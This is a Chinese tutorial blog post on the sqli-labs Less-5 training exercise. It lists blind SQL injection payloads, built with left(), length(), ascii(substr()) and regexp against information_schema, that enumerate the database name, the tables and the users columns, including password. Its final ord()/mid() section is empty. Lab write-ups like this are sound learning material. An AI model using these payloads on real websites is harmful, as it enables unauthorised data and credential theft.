码迷,mamicode.com
首页 > 其他好文 > 详细

Less5-Less6

时间:2020-08-05 23:26:08      阅读:87      评论:0      收藏:0      [点我收藏+]

标签:substr   length   image   pass   email   png   regexp   ascii   rom   

Less-5

字符型_单引号_盲注

0x01 left()

left(database(),1)
#left(a,b)截取字符串a的自左向右的b个字符
?id=1‘ and left(version(),1)=5--+

判断版本号第一个是否为5,若是,则youarein
技术图片

若不是,则
技术图片
查看数据库长度,长度为8

?id=1‘ and length(database())=8--+

技术图片
猜测数据库第一个字符是否大于a

?id=1‘ and left(database(),1)>‘a‘--+

技术图片
猜测数据库的前两个字符是否大于sa,直到判断出数据库名为security

?id=1‘ and left(database(),2)>‘sa‘--+

技术图片

0x02 substr()

substr(string,start,length)
#start开始,截取长度为length

猜测表名,通过ascii,substr()函数,判断第一个表名的第一个字符,得出表email中的e

?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

技术图片
判断第二个字符,为m,直到判断出第一个表为email

?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+

技术图片
判断第二个表,修改limit 1,1,直到判断出所有的表名

?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+

技术图片

0x03 regexp()

regexp ‘^[a-z]‘limit 0,1
#判断第一个字符为a-z中之一,若是则返回1,否则返回0

判断列名,

?id=1‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘and column_name regexp ‘^us[a-z]‘limit 0,1)--+

判断第一个列名为username

?id=1‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘and column_name regexp ‘^username‘limit 0,1)--+

判断第二个列名为password

?id=1‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘and column_name regexp ‘^password‘limit 0,1)--+

0x04 ord(),mid()

Less5-Less6

标签:substr   length   image   pass   email   png   regexp   ascii   rom   

原文地址:https://www.cnblogs.com/observering/p/13443105.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!